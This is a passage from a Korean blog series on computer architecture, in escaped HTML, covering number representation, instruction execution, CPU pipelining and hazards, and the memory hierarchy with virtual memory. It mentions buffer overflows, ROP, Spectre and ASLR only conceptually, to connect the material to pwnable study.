&lt;td&gt;소수점 위치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가수&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;유효숫자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 직관은 &quot;소수점이 고정돼 있지 않고 지수에 따라 떠다닌다(floating)&quot;는 것. 그래서 아주 큰 수와 아주 작은 수를 같은 형식으로 표현할 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;정밀도의 한계&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.1은 2진수로 딱 떨어지지 않아(무한 반복) 근사값으로 저장된다. 그 유명한 0.1 + 0.2 != 0.3 현상이 여기서 나온다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 0.1 + 0.2
0.30000000000000004
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 문자 &amp;mdash; 인코딩&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자도 결국 숫자다. 어떤 숫자가 어떤 글자인지 약속한 표가 &lt;b&gt;인코딩&lt;/b&gt;이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ASCII&lt;/b&gt;: 영어와 기호를 7비트(0~127)로. A = 65, a = 97&lt;/li&gt;
&lt;li&gt;&lt;b&gt;유니코드 / UTF-8&lt;/b&gt;: 한글&amp;middot;이모지까지. 실제 저장은 보통 UTF-8&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대상 표현 방법&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;양의 정수&lt;/td&gt;
&lt;td&gt;2진수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;음수&lt;/td&gt;
&lt;td&gt;2의 보수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;소수&lt;/td&gt;
&lt;td&gt;부동소수점 (IEEE 754)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;문자&lt;/td&gt;
&lt;td&gt;인코딩 표 (ASCII, UTF-8)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셋 다 &quot;0과 1만으로 표현하기 위한 약속&quot;이라는 점이 공통이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2편 명령어&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 (2) 명령어 &amp;mdash; CPU가 알아듣는 언어와 실행 사이클&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. ISA &amp;mdash; CPU와 맺은 약속&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ISA(Instruction Set Architecture)&lt;/b&gt; 는 CPU가 알아듣는 명령어 전체 목록과 규칙이다. 제조사가 정한 약속이고, 같은 ISA면 같은 기계어가 돈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ISA 쓰이는 곳&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;x86-64&lt;/td&gt;
&lt;td&gt;인텔&amp;middot;AMD, PC/서버&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ARM&lt;/td&gt;
&lt;td&gt;폰, 맥, 라즈베리파이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RISC-V&lt;/td&gt;
&lt;td&gt;교육&amp;middot;오픈소스&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;기계어 vs 어셈블리&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 명령어의 두 표기일 뿐이고 1:1로 대응된다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;기계어:   01001000 10000011 11000000 00000001   &amp;larr; CPU가 실제로 읽는 것
어셈블리:  add rax, 1                              &amp;larr; 사람이 읽는 표기
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포너블에서 디스어셈블러로 본 mov, push, ret이 전부 이 어셈블리다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 명령어의 구조 &amp;mdash; opcode + operand&lt;/h3&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;add   rax, 1
─┬─   ─┬─  ┬
opcode  operand들
&quot;더해라&quot; &quot;rax에&quot;  &quot;1을&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;opcode&lt;/b&gt;: 무엇을 할지 (더해라, 옮겨라)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;operand&lt;/b&gt;: 무엇을 대상으로 (어떤 레지스터, 어떤 값)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;레지스터&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU 안에 있는 극소수의 초고속 저장 공간. 메모리보다 압도적으로 빠르지만 개수가 적다. (x86-64 기준 rax, rbx, rsp, rip 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포너블에서 익숙한 두 개:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;rsp &amp;mdash; 스택 꼭대기를 가리킴&lt;/li&gt;
&lt;li&gt;rip &amp;mdash; 다음에 실행할 명령어 주소를 가리킴&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 명령어 실행 사이클 &amp;mdash; fetch / decode / execute&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU는 명령어 하나를 처리할 때 항상 같은 3단계를 반복한다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Fetch (가져오기)&lt;/b&gt; &amp;mdash; rip이 가리키는 주소에서 명령어를 읽어온다. 읽고 나면 rip은 자동으로 다음 명령어를 가리키도록 증가한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Decode (해석하기)&lt;/b&gt; &amp;mdash; 가져온 기계어 비트를 제어장치가 해석한다. opcode와 operand를 풀어낸다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Execute (실행하기)&lt;/b&gt; &amp;mdash; 실제 동작을 수행한다. 연산이면 ALU가 계산하고 결과를 레지스터/메모리에 쓴다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 다시 ①로. 이 사이클이 초당 수십억 번 도는 게 &quot;프로그램 실행&quot;의 실체다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예제로 보는 흐름&lt;/h4&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;mov rax, 5      ; rax에 5를 넣어라
add rax, 3      ; rax에 3을 더해라  &amp;rarr; rax = 8
push rax        ; rax(8)를 스택에 올려라  &amp;rarr; rsp 감소
ret             ; 스택에서 주소를 꺼내 rip에 넣고 점프
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 줄마다 fetch&amp;rarr;decode&amp;rarr;execute가 한 바퀴씩 돌고 rip은 한 줄씩 내려간다. ret에서만 rip이 스택값으로 점프한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;포너블과의 연결&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ret 명령이 하는 일이 바로 &lt;b&gt;스택에서 주소를 꺼내 rip에 넣는 것&lt;/b&gt;&amp;nbsp;이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스택의 리턴 주소를 덮어쓰면 &amp;rarr; 다음 fetch가 엉뚱한 주소에서 일어남 &amp;rarr; BOF로 실행 흐름 탈취&lt;/li&gt;
&lt;li&gt;ROP도 &quot;ret이 rip을 스택값으로 계속 바꾼다&quot;는 이 사이클을 악용한 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 실행 사이클을 이해하면 메모리 손상 익스플로잇의 원리가 그대로 보인다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. RISC vs CISC&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ISA 설계 철학의 두 갈래.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CISC RISC&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;대표&lt;/td&gt;
&lt;td&gt;x86&lt;/td&gt;
&lt;td&gt;ARM, RISC-V&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;방식&lt;/td&gt;
&lt;td&gt;복잡한 명령어를 많이&lt;/td&gt;
&lt;td&gt;단순한 명령어 몇 개를 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘은 x86도 내부에서 복잡한 명령어를 잘게 쪼개 실행해 경계가 흐려졌지만, 폰&amp;middot;맥이 ARM(RISC)으로 간 흐름은 알아둘 만하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CPU는 &lt;b&gt;ISA라는 약속된 명령어 목록&lt;/b&gt;을 갖는다.&lt;/li&gt;
&lt;li&gt;각 명령어를 &lt;b&gt;fetch&amp;ndash;decode&amp;ndash;execute&lt;/b&gt; 사이클로 처리한다.&lt;/li&gt;
&lt;li&gt;그 과정의 상태를 &lt;b&gt;레지스터&lt;/b&gt;(특히 rip, rsp)에 들고 있다.&lt;/li&gt;
&lt;li&gt;어셈블리는 기계어에 사람이 읽을 이름을 붙인 것뿐이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3편 CPU 동작&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 (3) CPU 동작 &amp;mdash; 제어장치, ALU, 그리고 파이프라인&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 공부 시리즈 3편. CPU 안에서 부품들이 어떻게 분업하는지, 그리고 명령어를 겹쳐 처리해 속도를 높이는 파이프라인을 정리한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;들어가며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2편에서 명령어가 &lt;b&gt;fetch&amp;ndash;decode&amp;ndash;execute&lt;/b&gt; 사이클로 처리된다고 했다. 이번엔 그 사이클을 CPU 안의 부품들이 실제로 어떻게 나눠 처리하는지, 그리고 어떻게 여러 명령어를 겹쳐 속도를 끌어올리는지 본다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 세 부품의 분업&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU 핵심 부품은 셋이다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.6512%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 65.2326%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.6512%;&quot;&gt;제어장치 (Control Unit)&lt;/td&gt;
&lt;td style=&quot;width: 65.2326%;&quot;&gt;명령어 해석 후 제어 신호를 뿌림. 직접 계산 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.6512%;&quot;&gt;ALU (산술논리연산장치)&lt;/td&gt;
&lt;td style=&quot;width: 65.2326%;&quot;&gt;실제 산술&amp;middot;논리 연산 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34.6512%;&quot;&gt;레지스터&lt;/td&gt;
&lt;td style=&quot;width: 65.2326%;&quot;&gt;연산할 값&amp;middot;결과를 잠깐 보관&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;플래그(flag)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ALU는 계산 결과와 함께 &lt;b&gt;플래그&lt;/b&gt;도 내놓는다. &quot;결과가 0이었나&quot;, &quot;자리 넘침이 있었나&quot;, &quot;음수였나&quot; 같은 부가 정보를 플래그 레지스터에 기록한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 중요한 이유: &lt;b&gt;조건 분기(if문, 반복문)가 플래그로 작동&lt;/b&gt;한다.&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;cmp rax, rbx    ; rax와 rbx를 비교 (사실은 빼서 플래그만 갱신)
je  target      ; 결과가 0이면(같으면) target으로 점프
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cmp는 두 값을 빼서 결과는 버리고 플래그만 갱신한다. je(jump if equal)는 그 플래그를 보고 점프를 결정한다. 우리가 쓰는 모든 if문&amp;middot;for문이 밑바닥에선 이 &quot;비교 &amp;rarr; 플래그 &amp;rarr; 조건 점프&quot;로 굴러간다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 파이프라인 &amp;mdash; 현대 CPU 성능의 핵심&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 하나를 끝까지 처리하고 다음 걸 시작하면 부품이 노는 시간이 많다. 그래서 명령어 처리를 여러 단계로 쪼개고 &lt;b&gt;여러 명령어를 한 칸씩 어긋나게 겹쳐서&lt;/b&gt; 흘려보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5단계 파이프라인 타임라인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단계: &lt;b&gt;IF&lt;/b&gt;(fetch) / &lt;b&gt;ID&lt;/b&gt;(decode) / &lt;b&gt;EX&lt;/b&gt;(execute) / &lt;b&gt;MEM&lt;/b&gt;(메모리 접근) / &lt;b&gt;WB&lt;/b&gt;(결과 기록)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이클 1 2 3 4 5 6 7 8&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;명령어1&lt;/td&gt;
&lt;td&gt;IF&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;EX&lt;/td&gt;
&lt;td&gt;MEM&lt;/td&gt;
&lt;td&gt;WB&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;명령어2&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;IF&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;EX&lt;/td&gt;
&lt;td&gt;MEM&lt;/td&gt;
&lt;td&gt;WB&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;명령어3&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;IF&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;EX&lt;/td&gt;
&lt;td&gt;MEM&lt;/td&gt;
&lt;td&gt;WB&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;명령어4&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;IF&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;EX&lt;/td&gt;
&lt;td&gt;MEM&lt;/td&gt;
&lt;td&gt;WB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5번 사이클을 세로로 보면 다섯 단계가 동시에 가동된다. 부품이 노는 시간이 사라진다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;효과&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파이프라인 없음: 명령어당 5사이클 &amp;times; 4개 = &lt;b&gt;20사이클&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;파이프라인: 첫 명령어가 5사이클에 끝난 뒤로는 매 사이클마다 1개씩 완성 &amp;rarr; 4개를 &lt;b&gt;8사이클&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어가 많아질수록 &quot;거의 매 사이클당 1명령어&quot;에 수렴한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 해저드(hazard)&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;겹쳐 처리하기 때문에 생기는 문제.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;데이터 해저드&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞 명령어의 결과를 뒤 명령어가 곧바로 써야 할 때.&lt;/p&gt;
&lt;pre class=&quot;perl&quot;&gt;&lt;code&gt;add rax, rbx    ; rax를 계산 (결과는 WB 단계에서야 확정)
sub rcx, rax    ; 그 rax를 바로 써야 하는데 아직 안 끝남!
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sub가 rax를 읽으려는 시점에 add 결과가 기록 전이라 옛날 값을 읽을 위험.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결책: 멈춰서 기다리거나(stall), 계산 끝난 값을 기록 전에 바로 넘겨주는 &lt;b&gt;포워딩(forwarding)&lt;/b&gt;.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;제어 해저드&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분기(점프)에서 발생. je 같은 조건 점프는 &quot;어디로 갈지&quot;가 EX 단계에서야 정해지는데, 파이프라인은 이미 그 뒤 명령어들을 빨아들이고 있다. 점프가 일어나면 빨아들인 명령어들을 버려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결책: &lt;b&gt;분기 예측(branch prediction)&lt;/b&gt;. &quot;이 분기는 아마 점프할 것&quot;이라고 미리 찍어서 진행하고, 맞으면 이득, 틀리면 비우고 다시 채운다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;보안과의 연결&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분기 예측은 보안과도 이어진다. &lt;b&gt;Spectre&lt;/b&gt; 같은 취약점이 &quot;예측해서 미리 실행했다가 틀려서 되돌리는&quot; 동작의 흔적(캐시 상태)을 악용한 것이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CPU 안에서 &lt;b&gt;제어장치&lt;/b&gt;가 지휘하고 &lt;b&gt;ALU&lt;/b&gt;가 계산하며, 결과의 부가정보는 &lt;b&gt;플래그&lt;/b&gt;에 남아 조건 분기를 좌우한다.&lt;/li&gt;
&lt;li&gt;명령어들을 단계별로 쪼개 &lt;b&gt;파이프라인&lt;/b&gt;으로 겹쳐 처리해 속도를 끌어올린다.&lt;/li&gt;
&lt;li&gt;그 대가로 &lt;b&gt;해저드&lt;/b&gt;가 생겨 포워딩&amp;middot;분기예측으로 메운다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4편 메모리 계층&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;들어가며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리에는 근본적인 딜레마가 있다. &lt;b&gt;빠른 메모리는 비싸고 작고, 싼 메모리는 느리고 크다.&lt;/b&gt; 둘 다 가질 순 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 컴퓨터는 빠른 걸 조금, 느린 걸 잔뜩 두고 &lt;b&gt;계층으로 쌓아서&lt;/b&gt; 마치 빠르면서도 큰 메모리가 있는 것처럼 보이게 만든다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 계층 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위로 갈수록 빠르고 작고 비싸며, 아래로 갈수록 느리고 크고 싸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;레지스터&lt;/td&gt;
&lt;td&gt;1 사이클&lt;/td&gt;
&lt;td&gt;수십~수백 바이트&lt;/td&gt;
&lt;td&gt;CPU 안&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;캐시 (L1/L2/L3)&lt;/td&gt;
&lt;td&gt;수~수십 사이클&lt;/td&gt;
&lt;td&gt;KB~수십 MB&lt;/td&gt;
&lt;td&gt;CPU 안/근처&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;메인 메모리 (RAM)&lt;/td&gt;
&lt;td&gt;수백 사이클&lt;/td&gt;
&lt;td&gt;GB&lt;/td&gt;
&lt;td&gt;메인보드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;디스크 (SSD/HDD)&lt;/td&gt;
&lt;td&gt;수십만~수백만 사이클&lt;/td&gt;
&lt;td&gt;TB&lt;/td&gt;
&lt;td&gt;저장장치&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 캐시가 통하는 이유 &amp;mdash; 지역성(locality)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빠른 캐시는 작아서 데이터를 조금밖에 못 담는데, 어떻게 대부분의 접근을 빠르게 처리할까? 답은 &lt;b&gt;프로그램이 메모리를 무작위로 쓰지 않는다&lt;/b&gt;는 것. 이를 지역성이라 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;시간 지역성 (temporal locality)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 번 쓴 데이터는 곧 또 쓸 가능성이 높다. (반복문 변수 i) &amp;rarr; 한 번 접근한 데이터를 캐시에 남겨두면 다음 접근이 빨라진다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공간 지역성 (spatial locality)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 데이터를 쓰면 그 근처 데이터도 곧 쓸 가능성이 높다. (배열 순회) &amp;rarr; 캐시는 데이터 하나만 가져오지 않고 &lt;b&gt;그 주변을 한 덩어리(캐시 라인)로 통째로&lt;/b&gt; 가져온다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;히트와 미스&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;캐시 히트(hit)&lt;/b&gt;: 원하는 데이터가 캐시에 있음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;캐시 미스(miss)&lt;/b&gt;: 없어서 아래 계층까지 내려가야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;히트율이 높을수록 빨라진다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;코딩에의 영향&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2차원 배열을 행 우선으로 도느냐 열 우선으로 도느냐에 따라 속도가 몇 배씩 차이 나는 게 공간 지역성 때문이다. (메모리에 연속으로 깔린 순서대로 접근하느냐)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 가상 메모리 &amp;mdash; 포너블과 만나는 지점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램이 보는 메모리 주소(0x400000 같은)는 사실 &lt;b&gt;진짜 물리 주소가 아니다.&lt;/b&gt; 운영체제가 각 프로세스에게 &quot;너만의 깨끗한 메모리 공간이 0번지부터 쭉 있어&quot;라고 보여주는 &lt;b&gt;가상 주소&lt;/b&gt;다. 실제로는 OS와 하드웨어(MMU)가 가상 주소를 그때그때 물리 주소로 번역한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;왜 이렇게 하는가&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;격리&lt;/b&gt; &amp;mdash; 각 프로세스가 서로의 메모리를 못 건드림 (보안&amp;middot;안정성)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스왑&lt;/b&gt; &amp;mdash; 물리 메모리보다 큰 주소 공간 사용 (디스크를 메모리처럼 빌림)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;일관성&lt;/b&gt; &amp;mdash; 프로그램마다 항상 같은 주소 배치를 가정하고 작성 가능&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;포너블과의 연결&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;같은 바이너리를 여러 번 실행해도 스택&amp;middot;코드가 비슷한 주소에 뜨던 게 이 가상 주소라서다. (물리 위치는 매번 달라도 가상 주소는 일정)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ASLR&lt;/b&gt;은 이 가상 주소 배치를 일부러 매번 무작위로 흩뜨리는 방어 기법. 가상 메모리라는 토대가 있어야 가능하다.&lt;/li&gt;
